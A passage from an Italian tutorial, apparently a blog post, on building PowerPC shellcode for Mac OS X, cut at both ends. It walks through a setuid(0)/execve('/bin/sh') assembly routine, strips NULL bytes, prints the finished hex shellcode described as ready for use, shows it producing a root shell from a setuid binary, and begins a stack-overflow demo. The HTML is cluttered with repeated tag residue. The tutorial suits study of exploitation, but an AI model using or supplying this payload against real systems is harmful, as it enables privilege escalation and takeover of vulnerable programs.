loro&lt;br /&gt;relativo numero sotto OSX/Darwin possono essere esaminate nel file:&lt;br /&gt;/usr/include/sys/syscall.h. i Il registro  r0 e' l'analogo del registro EAX nei&lt;br /&gt;sistemi x86.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;r1 - il registro r1  rappresenta l'equivalente dello Stack Pointer (SP) sotto i&lt;br /&gt;sistemi x86.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;r3 r4, ... - questi registri formano gli argomenti passati alla funzione quando&lt;br /&gt;viene chiamata.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Provando a fare un esempio,la seguente porzione di codice mostra le similarita' presenti tra le due architetture (x86,ppc) ed i sistemi operativi (linux, osX):  &lt;br /&gt;linux(x86):&lt;br /&gt;&lt;code&gt;&amp;nbsp; mov eax, 0x01 ; muove in eax la chiamate di sistema per la exit(). Linux == 1 mov ebx, 0x05 ; muove il valore 5 nel registro ebx int 0x80 ; attiva la system-call exit(ebx) o se preferisci exit(5) &lt;/code&gt;&lt;br /&gt;OSX (ppc): &lt;br /&gt;&lt;code&gt;li r0, 0x01 ; carica la systemcall per exit in r0. osX == 1 li r3, 0x05 ; carica il valore 5 nel terzo registro sc  ; attiva la system-call exit(r3) o se preferisci exit(5) &lt;/code&gt;&lt;br /&gt;Un importante caratteristica da sottolineare  e' il modo in cui i  sistemi  ppc ritornato dopo  la fine di una funzione: il codice che verra' eseguito dopo una system call dipende dall'esito della stessa funzione. Il seguente  codice  ppc, test.s,chiama setuid(0).Se la chiamata ritorna con successo il programma andra' in exit(0); al contrario, se la chiamata setuid(0) fallisce, il  sistema andra' in exit(1). &lt;br /&gt;&lt;code&gt; cagliostro$cat test.s .globl _main .text  _main: xor     r3, r3,r3       ;  r3 = 0 li      r0, 23          ;  syscall per la setuid (23) sc                      ;  eseguiamo setuid() li      r3, 1           ;  il ritorno sara' in questo punto ;  se la chiamata a setuid fallisce. ;  r3 = 1 SE setuid(0) FALLISCE li      r0, 1           ;  altrimenti saltiamo qui ;  se setuid() ha successo ;  salviamo la nuova syscall da eseguire ;  in questo caso la exit (1) sc                      ;  ed invochiamo l'uscita...exit(r3)  &lt;/code&gt;&lt;br /&gt;&lt;code&gt; cagliostro$gcc -o test test.s cagliostro$./test; echo $? 1 cagliostro$sudo ./test; echo $? 0 &lt;/code&gt;&lt;br /&gt;Il programma test ritorna '1'  se  setuid(0) fallisce,  '0' altrimenti.  Le due esecuzioni distinte  illustrano  il   processo  sopra  descritto;  nella  prima chiamata  il  comando viene eseguito con privilegi utente, come  conseguenza la chiamata  a  setuid  fallira'  ritornando un valore pari ad '1'. Nella  seconda esecuzione,  utilizzando  il  comando sudo, facciamo in modo che la  chiamata a setuid non possa fallire ritornandoci il valore di '0' (successo).Il  programma effettua un salto di blocco/istruzioni dipendentemente dal modo in cui  ritorna da una chiamata di sistema.   Considerazioni sulla costruzione di ShellCode Tipicamente, la shellcode e' la seconda parte piu' importante (dopo il bug)  di un exploit. Essa viene  pensata e scritta per eseguire un processo che mantiene o aquista privilegi di amministratore all'interno di un programma  vulnerabile, in  maniera  che  questi  privilegi  possano  essere successivamente utilizzati dall'attaccante.  Un  tipico  esempio  potrebbe  essere  quello  di  leggere  e possibilmente  editare  i  files  che sarebbero altrimenti non accessibili come utente normale,come ad esempio passwords del sistema e files di configurazione; eseguire  una  shell  interattiva  sul  sistema  remoto  e'  un altro obiettivo fondamentale  per l'attaccante. In questo modo sara' possibile eseguire comandi remoti  con privilegi  d'amministratore  per  tutta la durata della sessione di attacco.  Nella  maggior  parte dei  casi, la shellcode viene "iniettata" nello spazio  di  memoria  del  programma  vulnerabile  attraverso un buffer overflow oppure  una  vulnerabilita'  sulla  formattazione  di  stringhe  (format string overflow). La natura di questi tipi di vulnerabilita' tipicamente impone alcune restrizioni e caratterizza almeno due qualita' in una buona shellcode:  grandezza  minima  -  spesso  lo  spazio  fornito  per  l'input dell'utente dal programma vulnerabile e' limitato. Le shellcode designate per architetture ppc, tipicamente, sono piu' grandi dell'equivalente  per x86, a  causa del fatto che le istruzioni utilizzate sono di lunghezza fissa a 32bit.  assenza  di  caratteri  NULL  -  tipicamente  le vuln erabilita' derivano dall' utilizzo non corretto  di funzioni come strcat, strcpy, gets.  Queste  funzioni basano  la loro esecuzione sul parsing di array di caratteri privi di caratteri NULL. Sfortunatamente,  un  grande  numero di istruzini ppc includono caratteri NULL  limitando,  in pratica,   l'insieme  di  istruzioni  disponibili  per  la costruzione  di  una shellcode. E' possibile utilizzare nella maggior parte dei casi  delle  istruzioni equivalenti prive di questi caratteri. Questo processo, tipicamente,include delle corrispondenze non 1:1 che provocano un ingrandimento delle dimensioni totali della shellcode.   Costruire Shellcode Funzionanti L'uso piu' versatile e gettonato  di  una  shellcode  e' quello di derivare una shell interattiva da un buco  del  programma ospite, permettendo all'attaccante di eseguire successivi comandi  con  privilegi  che  non  gli  appartengono. La funzione C execve() viene utilizzata per eseguire un programma e  terminare  il processo chiamante.Quindi un ideale shellcode potrebbe essere quella che esegue i seguenti tasks:  &lt;br /&gt;&lt;ul&gt;&lt;li&gt;setuid(0)  -  prova  a  (ri)ottenere  accesso  UID 0 (root). Questa system call&lt;br /&gt;e'  utile  quando  si  attaccano programmi che girano con privilegi di un'altro&lt;br /&gt;utente, ma in principio avviati con privilegi di root.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;execve("/bin/sh") - esegue /bin/sh.Fornisce all'attaccante un ambiente di shell&lt;br /&gt;interattivo.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;exit()  -  esce  in maniera corretta senza errori, minimizzando le possibilita'&lt;br /&gt;della macchina obiettivo di crashare come risultato dell'esecuzione alterata di&lt;br /&gt;un programma.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;I  numeri  delle  system  call  setuid() ed exit()  sono gia' state mostrate in precedenza; il loro utilizzo e' praticamente immediato.Discorso a parte bisogna fare  per  la  chiamata  execve(),  utilizzata  per  eseguire "/bin/sh". Il suo utilizzo e' piu' complesso e richiede l'uso di alcuni argomenti da passare alla funzione.  Ci  viene in aiuto il sempre-eterno manuale in linea di unix: man execve(). Ad una attenta visione viene svelato il modo di impiego della system call:  &lt;br /&gt;&lt;pre&gt;SYNOPSIS&lt;br /&gt;int execve(const char *path, char *const argv[], char *const envp[]);&lt;br /&gt;&lt;br /&gt;DESCRIPTION&lt;br /&gt;execve() transforms the calling process into a new process.&lt;br /&gt;&lt;/pre&gt;un tipico programma di esempio, che utilizza questa funzione,  potrebbe  essere questo: &lt;code&gt; cagliostro$cat shell.c  #include &lt;sys h=""&gt; #include &lt;unistd.h&gt;  int main(void){ char *args[2]; args[0] = "/bin/sh"; args[1] = NULL; execve("/bin/sh", args, NULL); }  cagliostro$gcc -o shell shell.c cagliostro$./shell sh-2.05b$ &lt;/unistd.h&gt;&lt;/sys&gt;&lt;/code&gt; La pagine  di man ci mostra quali sono i comandi da passare alla  funzione  per eseguire il comando "/bin/sh".Questi parametri,saranno passati alla system call attravero i registri di uso generale del processore ppc  come  mostrato  sotto:  r0 - il valore della system call execve(), 59 r3 - l'indirizzo di memoria della stringa "/bin/sh" r4 - l'indirizzo di memoria che punta ad *argv r5 - l'indirizzo di memoria che punta ad *envp oppure NULL.   PPC ed il link statico Se  ci  fossimo mossi in un contesto x86, avremmo potuto convertire in  maniera quasi indolore il codice di esempio scritto in C, in codice  pseudo  assembler. Avremmo  potuto  effettuare  le  modifiche  del  caso,  dovute  a  problemi  di rilocazione del disassembletore,ed in generale  avremmo  avuto  un  codice  asm funzionante  in  poco  tempo  ( aleph1  -  Smash the Stack for fun and Profit). Purtroppo, sotto macos,  se si prova  a  compilare  il  codice  sopra,  con  le direttive necessarie ad un'adeguata decompilazione: &lt;code&gt; cagliostro$gcc -o myshell -ggdb -static shell.c &lt;/code&gt; &lt;br /&gt;&lt;sys h=""&gt;&lt;unistd.h&gt;otterremo qualcosa del tipo:&lt;/unistd.h&gt;&lt;/sys&gt;&lt;br /&gt;&lt;sys h=""&gt;&lt;unistd.h&gt;&lt;code&gt; &lt;sys h=""&gt;&lt;unistd.h&gt;ld: can't locate file for: -lcrt0.o cagliostro$ &lt;/unistd.h&gt;&lt;/sys&gt;&lt;/code&gt;&lt;/unistd.h&gt;&lt;/sys&gt;&lt;br /&gt;&lt;sys h=""&gt;&lt;unistd.h&gt;Mac OS non permette il link statico di alcune librerie, a  causa di problemi  di sicurezza e di portabilita' del codice. Allo stato attuale, quindi,risulterebbe impossibile  utilizzare  i comuni tricks&amp;amp;trips x86 per potere creare del codice ASM funzionante.  Ci  sono alcune tecniche di compilazione e programmazione che &amp;nbsp;permettono di aggirare questo problema, ma esulano dallo scopo di questo paper; nel nostro contesto,  ci  limiteremo a scrivere MANUALMENTE il codice assembler che ci serve.  &lt;code&gt; cagliostro$cat s_execve.s .globl _main .text _main: xor.    r5, r5, r5      ;1. r5 = NULL bnel    _main           ;2. salta a _main se non e' uguale mflr    r3              ;3. r3 = main + 8 addi    r3, r3, 28      ;4. r3 = main + 8 + 28 = string stw     r3, -8(r1)      ;5. argv[0] = string stw     r5, -4(r1)      ;6. argv[1] = NULL subi    r4, r1, 8       ;7. r4 = puntatore ad argv[] li      r0, 59          ;8. r0 = 59 execve() sc                      ;9. execve(r3, r4, r5) ;   execve(path, argv[], NULL) string:   .asciz "/bin/sh" &lt;/code&gt;  &lt;/unistd.h&gt;&lt;/sys&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt; L'istruzione 'xor r5, r5, r5' server per azzerare r5  ed impostare  il  flag&lt;br /&gt;equal nel registro CR.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; L'istruzione 'bnel _main' significa  letteralmente: salta se non e' uguale e&lt;br /&gt;salva  l'indirizzo  di  ritorno  nel registro LR. Questo salto non sara' mai&lt;br /&gt;effettuato a causa del valore impostato nel registro CR, alla riga 1.In ogni&lt;br /&gt;caso, l'indirizzo di ritorno viene salvato nel registro LR.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Il valore corrente conservato nel registro LR viene copiato nel registro r3.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Il valore  conservano in r3  viene incrementato  di 28bytes per puntare alla&lt;br /&gt;stringa "/bin/sh".&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Conserviamo il valore di r3 (stringa)  nella locazione di memoria puntata da&lt;br /&gt;r1 (Stack Pointer) meno 8.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Conserviamo il valore di r5 (NULL) nella locazione  di memoria r1  (SP) - 4.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Salviamo  il  valore  di  r1  ( Stack  Pointer ) - 8,   nel   registro   r4.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Carichiamo r0 con il valore 59 (la system call execve).&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Attiviamo la system call execve(r3, r4, r5).&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;code&gt;  cagliostro$gcc -o s_execve s_execve.s cagliostro$./s_execve sh-2.05b$ &lt;/code&gt;  Eliminare i NULL dal nostro lavoro. Usando  GDB  (Gnu DeBugger), il nostro  semplice lavoro in assembler  s_execve, verra' convertito in una shellcode vera e propria, come  mostrato  di  seguito: &lt;br /&gt;&lt;sys h=""&gt;&lt;unistd.h&gt;&lt;code&gt; &lt;sys h=""&gt;&lt;unistd.h&gt;cagliostro$gdb s_execve GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001ecc &lt;main+0&gt;:    xor.    r5,r5,r5 0x00001ed0 &lt;main+4&gt;:    bnel+   0x1ecc &lt;main&gt; 0x00001ed4 &lt;main+8&gt;:    mflr    r3 0x00001ed8 &lt;main+12&gt;:   addi    r3,r3,28 0x00001edc &lt;main+16&gt;:   stw     r3,-8(r1) 0x00001ee0 &lt;main+20&gt;:   stw     r5,-4(r1) 0x00001ee4 &lt;main+24&gt;:   addi    r4,r1,-8 0x00001ee8 &lt;main+28&gt;:   li      r0,59 0x00001eec &lt;main+32&gt;:   sc End of assembler dump. (gdb)  (gdb) x/4bx main 0x1ecc &lt;main&gt;:  0x7c    0xa5    0x2a    0x79 0x1ed0 &lt;main+4&gt;:        0x40    0x82    0xff    0xfd 0x1ed4 &lt;main+8&gt;:        0x7c    0x68    0x02    0xa6 0x1ed8 &lt;main+12&gt;:       0x38    0x63    0x00    0x1c 0x1edc &lt;main+16&gt;:       0x90    0x61    0xff    0xf8 0x1ee0 &lt;main+20&gt;:       0x90    0xa1    0xff    0xfc 0x1ee4 &lt;main+24&gt;:       0x38    0x81    0xff    0xf8 0x1ee8 &lt;main+28&gt;:       0x38    0x00    0x00    0x3b 0x1eec &lt;main+32&gt;:       0x44    0x00    0x00    0x02 0x1ef0 &lt;string&gt;:        0x2f    0x62    0x69    0x6e 0x1ef4 &lt;string+4&gt;:      0x2f    0x73    0x68    0x00 &lt;/string+4&gt;&lt;/string&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main+4&gt;&lt;/main&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;/unistd.h&gt;&lt;/sys&gt; Come possiamo vedere, dall'output del nostro debugger, la shellcode  risultante ha un gran numero di bytes NULL (0x00). Tutto cio' e' male!.Questi bytes devono essere  eliminati  per  poter  rendere  il  nostro  lavoro  utilizzabile.  Piu' precisamente, le linee che causano il problema sono le seguenti:  &lt;br /&gt;&lt;/code&gt;&lt;ol&gt;&lt;li&gt; 0x1ed8 &lt;main+12&gt;:       0x38    0x63    0x00    0x1c&lt;br /&gt;&lt;/main+12&gt;&lt;/li&gt;&lt;li&gt; 0x1ee8 &lt;main+28&gt;:       0x38    0x00    0x00    0x3b&lt;br /&gt;&lt;/main+28&gt;&lt;/li&gt;&lt;li&gt; 0x1eec &lt;main+32&gt;:       0x44    0x00    0x00    0x02&lt;br /&gt;&lt;/main+32&gt;&lt;/li&gt;&lt;/ol&gt;Le istruzioni originali corrispondenti, sono le seguenti: &lt;br /&gt;&lt;ol&gt;&lt;li&gt; &lt;main+12&gt;: addi  r3, r3, 28&lt;br /&gt;&lt;/main+12&gt;&lt;/li&gt;&lt;li&gt; &lt;main+28&gt;: li r0, 59&lt;br /&gt;&lt;/main+28&gt;&lt;/li&gt;&lt;/ol&gt;che andranno rimpiazzate con qualcosa che evita l'uso del valore 0x00: &lt;br /&gt;&lt;ol&gt;&lt;li&gt; addi  r3, r3, 268+28&lt;br /&gt;addi  r3, r3, -268&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; li  r30, 268+59&lt;br /&gt;addi  r0, r30, -268&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;l'opcode per sc e' 0x44000002.  Fortunatamente, i bytes 2 e 3 dell'opcode  sono riservati  e  quindi non usati. Visto che non ci sono altri opcode che iniziano per 0x44 e finiscono per 0x02, e' possibile usare qualunque valore NON zero per i  bytes  2  e  3  dell'opcode  senza  inficiare il suo corretto funzionamento. L'opcode finale per 'sc' puo' quindi diventare: &lt;code&gt; sc  .long 0x44ffff02 &lt;/code&gt; Infine,  l'istruzione  standard  di NOP  (No OPeration)  sulle architetture ppc contiene dei bytes NULL, come si nota immediatamente dalla sua rappresentazione esadecimale:  0x60000000.  L'istruzione  di NOP su  qualunque sistema e' spesso utilizzata come 'tampone' per riempire lo spazio dove viene ospitato l'exploit. E' necessario,  quindi,  un  metodo per poterla utilizzare. Ancora una volta, i bytes  di  NULL  sono  riservati e quindi possono essere cambiati con qualunque altro valore non nullo, come ad esempio: 0x60606060.  Mettendo tutto insieme, otteniamo un lavoro simile al seguente: &lt;code&gt; cagliostro$cat f_execve.s .globl _main .text _main: xor.    r3, r3, r3      ;1. r3 = 0 bnel    _main           ;2. li      r10, 268+23     ;3. r10 = 268+23 addi    r0, r10, -268   ;4. r0 = 23 (setuid) .long   0x44ffff02      ;5. sc modificato .long   0x60606060      ;6. NOP modificato xor.    r5, r5, r5      ;7. r5 = 0 mflr    r3              ;8. r3 = main + 8 addi    r3, r3, 268+72  ;9. r3 = main + 8 + (268+72) addi    r3, r3, -268    ;A. r3 = string stw     r3, -8(r1)      ;B. argv[0] = string stw     r5, -4(r1)      ;C. argv[1] = NULL subi    r4, r1, 8       ;D. r4 = pointer to argv[] li      r30, 268+59     ; addi    r0, r30, -268   ;E. r0 = 59 execve() .long   0x44ffff02      ;F. sc modificato mr      r3, r5          ;G. r3 = 0 li      r30, 268+1      ; addi    r0, r30, -268   ;H. r0 = 1 (exit) .long   0x44ffff02      ;I. sc modificato string:   .asciz "/bin/sh"  cagliostro$gcc -o f_execve f_execve.s cagliostro$./f_execve sh-2.05b$ &lt;/code&gt; La shellcode risultante, la si ottiene utilizzando gdb come illustrato sopra: &lt;code&gt; cagliostro$gdb f_execve GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001ecc &lt;main+0&gt;:    xor.    r3,r3,r3 0x00001ed0 &lt;main+4&gt;:    bnel+   0x1ecc &lt;main&gt; 0x00001ed4 &lt;main+8&gt;:    li      r10,291 0x00001ed8 &lt;main+12&gt;:   addi    r0,r10,-268 0x00001edc &lt;main+16&gt;:   .long 0x44ffff02 0x00001ee0 &lt;main+20&gt;:   ori     r0,r3,24672 0x00001ee4 &lt;main+24&gt;:   xor.    r5,r5,r5 0x00001ee8 &lt;main+28&gt;:   mflr    r3 0x00001eec &lt;main+32&gt;:   addi    r3,r3,340 0x00001ef0 &lt;main+36&gt;:   addi    r3,r3,-268 0x00001ef4 &lt;main+40&gt;:   stw     r3,-8(r1) 0x00001ef8 &lt;main+44&gt;:   stw     r5,-4(r1) 0x00001efc &lt;main+48&gt;:   addi    r4,r1,-8 0x00001f00 &lt;main+52&gt;:   li      r30,327 0x00001f04 &lt;main+56&gt;:   addi    r0,r30,-268 0x00001f08 &lt;main+60&gt;:   .long 0x44ffff02 0x00001f0c &lt;main+64&gt;:   mr      r3,r5 0x00001f10 &lt;main+68&gt;:   li      r30,269 0x00001f14 &lt;main+72&gt;:   addi    r0,r30,-268 0x00001f18 &lt;main+76&gt;:   .long 0x44ffff02 End of assembler dump. (gdb) (gdb) x/4bx main 0x1ecc &lt;main&gt;:   0x7c    0x63    0x1a    0x79 0x1ed0 &lt;main+4&gt;:        0x40    0x82    0xff    0xfd 0x1ed4 &lt;main+8&gt;:        0x39    0x40    0x01    0x23 0x1ed8 &lt;main+12&gt;:       0x38    0x0a    0xfe    0xf4 0x1edc &lt;main+16&gt;:       0x44    0xff    0xff    0x02 0x1ee0 &lt;main+20&gt;:       0x60    0x60    0x60    0x60 0x1ee4 &lt;main+24&gt;:       0x7c    0xa5    0x2a    0x79 0x1ee8 &lt;main+28&gt;:       0x7c    0x68    0x02    0xa6 0x1eec &lt;main+32&gt;:       0x38    0x63    0x01    0x54 0x1ef0 &lt;main+36&gt;:       0x38    0x63    0xfe    0xf4 0x1ef4 &lt;main+40&gt;:       0x90    0x61    0xff    0xf8 0x1ef8 &lt;main+44&gt;:       0x90    0xa1    0xff    0xfc 0x1efc &lt;main+48&gt;:       0x38    0x81    0xff    0xf8 0x1f00 &lt;main+52&gt;:       0x3b    0xc0    0x01    0x47 0x1f04 &lt;main+56&gt;:       0x38    0x1e    0xfe    0xf4 0x1f08 &lt;main+60&gt;:       0x44    0xff    0xff    0x02 0x1f0c &lt;main+64&gt;:       0x7c    0xa3    0x2b    0x78 0x1f10 &lt;main+68&gt;:       0x3b    0xc0    0x01    0x0d 0x1f14 &lt;main+72&gt;:       0x38    0x1e    0xfe    0xf4 0x1f18 &lt;main+76&gt;:       0x44    0xff    0xff    0x02 0x1f1c &lt;string&gt;:        0x2f    0x62    0x69    0x6e 0x1f20 &lt;string+4&gt;:      0x2f    0x73    0x68    0x00 (gdb) &lt;/string+4&gt;&lt;/string&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main+4&gt;&lt;/main&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;/code&gt; Come e' possibile notare, non sono  piu' presenti 0x00! Salviamo i valori  hex, ed avremo il nostro primo shellcode, pronto per l'uso: &lt;code&gt; \x7c\x63\x1a\x79\x40\x82\xff\xfd \x39\x40\x01\x23\x38\x0a\xfe\xf4 \x44\xff\xff\x02\x60\x60\x60\x60 \x7c\xa5\x2a\x79\x7c\x68\x02\xa6 \x38\x63\x01\x54\x38\x63\xfe\xf4 \x90\x61\xff\xf8\x90\xa1\xff\xfc \x38\x81\xff\xf8\x3b\xc0\x01\x47 \x38\x1e\xfe\xf4\x44\xff\xff\x02 \x7c\xa3\x2b\x78\x3b\xc0\x01\x0d \x38\x1e\xfe\xf4\x44\xff\xff\x02 \x2f\x62\x69\x6e\x2f\x73\x68 &lt;/code&gt; proviamo  a scrivere un esempio di codice per renderci conto di quanto  fatto e detto: &lt;code&gt; char shellcode[]= "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x39\x40\x01\x23\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x60\x60\x60\x60" "\x7c\xa5\x2a\x79\x7c\x68\x02\xa6" "\x38\x63\x01\x54\x38\x63\xfe\xf4" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x38\x81\xff\xf8\x3b\xc0\x01\x47" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x2f\x62\x69\x6e\x2f\x73\x68";  int main() { __asm__( "b __shellcode" ); }  cagliostro$gcc -o test_it1 test_it1.c cagliostro$sudo chown root test_it1 cagliostro$sudo chmod u+s test_it1 cagliostro$id uid=501(valvoline) gid=501(valvoline) groups=501(valvoline) cagliostro$./test_it1 sh-2.05b# id uid=0(root) gid=501(valvoline) groups=501(valvoline) sh-2.05b# &lt;/code&gt; Come si puo' vedere, la shellcode finale  ha  creato  con  successo  una  shell interattiva con  privilegi di  root, che potra' essere utilizzata in futuro per vulnerabilita' del sistema.   Gestione Delle Subroutines Nell'architettura  x86,  le  subroutines  e le funzioni sono implementate  come un'istruzione di 'call'.L'istruzione di call salva l'indirizzo di ritorno sullo stack  prima  di eseguire la funzione chiamata. L'indirizzo di ritorno salvato, puo' essere sovrascritto usando delle tecniche di buffer overflow, ottenendo il controllo  del programma in esecuzione. Sulle architetture ppc le subroutines e le funzioni sono gestite in maniera differente. Il seguente programma C,func.c, dimostra  come  sono  gestite  le  funzioni su  un'architettura di questo tipo. &lt;br /&gt;&lt;br /&gt;&lt;sys h=""&gt;&lt;unistd.h&gt;&lt;main+0&gt;&lt;main+4&gt;&lt;main&gt;&lt;main+8&gt;&lt;main+12&gt;&lt;main+16&gt;&lt;main+20&gt;&lt;main+24&gt;&lt;main+28&gt;&lt;main+32&gt;&lt;main+36&gt;&lt;main+40&gt;&lt;main+44&gt;&lt;main+48&gt;&lt;main+52&gt;&lt;main+56&gt;&lt;main+60&gt;&lt;main+64&gt;&lt;main+68&gt;&lt;main+72&gt;&lt;main+76&gt;&lt;main&gt;&lt;main+4&gt;&lt;main+8&gt;&lt;main+12&gt;&lt;main+16&gt;&lt;main+20&gt;&lt;main+24&gt;&lt;main+28&gt;&lt;main+32&gt;&lt;main+36&gt;&lt;main+40&gt;&lt;main+44&gt;&lt;main+48&gt;&lt;main+52&gt;&lt;main+56&gt;&lt;main+60&gt;&lt;main+64&gt;&lt;main+68&gt;&lt;main+72&gt;&lt;main+76&gt;&lt;string&gt;&lt;string+4&gt;&lt;code&gt; &lt;sys h=""&gt;&lt;unistd.h&gt;&lt;main+0&gt;&lt;main+4&gt;&lt;main&gt;&lt;main+8&gt;&lt;main+12&gt;&lt;main+16&gt;&lt;main+20&gt;&lt;main+24&gt;&lt;main+28&gt;&lt;main+32&gt;&lt;main+36&gt;&lt;main+40&gt;&lt;main+44&gt;&lt;main+48&gt;&lt;main+52&gt;&lt;main+56&gt;&lt;main+60&gt;&lt;main+64&gt;&lt;main+68&gt;&lt;main+72&gt;&lt;main+76&gt;&lt;main&gt;&lt;main+4&gt;&lt;main+8&gt;&lt;main+12&gt;&lt;main+16&gt;&lt;main+20&gt;&lt;main+24&gt;&lt;main+28&gt;&lt;main+32&gt;&lt;main+36&gt;&lt;main+40&gt;&lt;main+44&gt;&lt;main+48&gt;&lt;main+52&gt;&lt;main+56&gt;&lt;main+60&gt;&lt;main+64&gt;&lt;main+68&gt;&lt;main+72&gt;&lt;main+76&gt;&lt;string&gt;&lt;string+4&gt;cagliostro$cat func.c int function() { return 0; }  int main() { function(); }  cagliostro$gcc -o func func.c cagliostro$gdb func GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001eec &lt;main+0&gt;:    mflr    r0 0x00001ef0 &lt;main+4&gt;:    stmw    r30,-8(r1) 0x00001ef4 &lt;main+8&gt;:    stw     r0,8(r1) 0x00001ef8 &lt;main+12&gt;:   stwu    r1,-80(r1) 0x00001efc &lt;main+16&gt;:   mr      r30,r1 0x00001f00 &lt;main+20&gt;:   bl      0x1ecc &lt;function&gt; 0x00001f04 &lt;main+24&gt;:   mr      r3,r0 0x00001f08 &lt;main+28&gt;:   lwz     r1,0(r1) 0x00001f0c &lt;main+32&gt;:   lwz     r0,8(r1) 0x00001f10 &lt;main+36&gt;:   mtlr    r0 0x00001f14 &lt;main+40&gt;:   lmw     r30,-8(r1) 0x00001f18 &lt;main+44&gt;:   blr End of assembler dump. (gdb) &lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/function&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;/string+4&gt;&lt;/string&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main+4&gt;&lt;/main&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;/unistd.h&gt;&lt;/sys&gt; Il disassemblato di func, rivela che la chiamata a function()  e'  implementata da una chiamata a 'bl &lt;function&gt;'  (Branch  and  Link)  all'indirizzo  main+20. Questo  significa che l'indirizzo  di ritorno dopo  l'esecuzione di function e' conservato nel registro LR (link register). A  questo punto  non c'e' modo  per alterare il valore conservato in LR usando  tecniche  come  quella  del  buffer overflow e, quindi, non esiste modo per  l'attaccante  di ottenere il controllo del programma in esecuzione.  Proviamo a fare alcune considerazioni. Dal  momento che esiste un solo registro LR, se il programma volesse chiamare una seconda  funzione,  il valore corrente di LR deve potere essere preservato!. Questo  significa che  anche  se  non  e' possibile ottenere il controllo della funzione corrente,la sovrascrittura dello stack puo' dare controllo sulla funzione precedente!  La maggior  parte  delle  volte, a causa del numero di istruzioni di salto gia' eseguite, i programmi per ppc presentano molte analogie con i loro  equivalenti per x86. La capacita' di sovrascrivere il valore conservato su LR,e' dimostrato dal codice seguente: &lt;code&gt; cagliostro$cat s_overflow.c /* Semplice programma per dimostrare l'uso del buffer overflow su architetture ppc.  Costantino Pistagna &lt;pistagna@dmi.unict.it&gt;  "Solo chi e' interamente a conoscenza dei demoni della guerra puo' capire fino in fondo il vantaggio che puo' ricavare tirandola per le lunghe." - L'Arte della Guerra - Sun Tzu */  #include &lt;stdio.h&gt; #include &lt;string.h&gt;  char hugebuff[] = "12345678901234567890SPAZIORISERVATO1234567890";  int main() { char 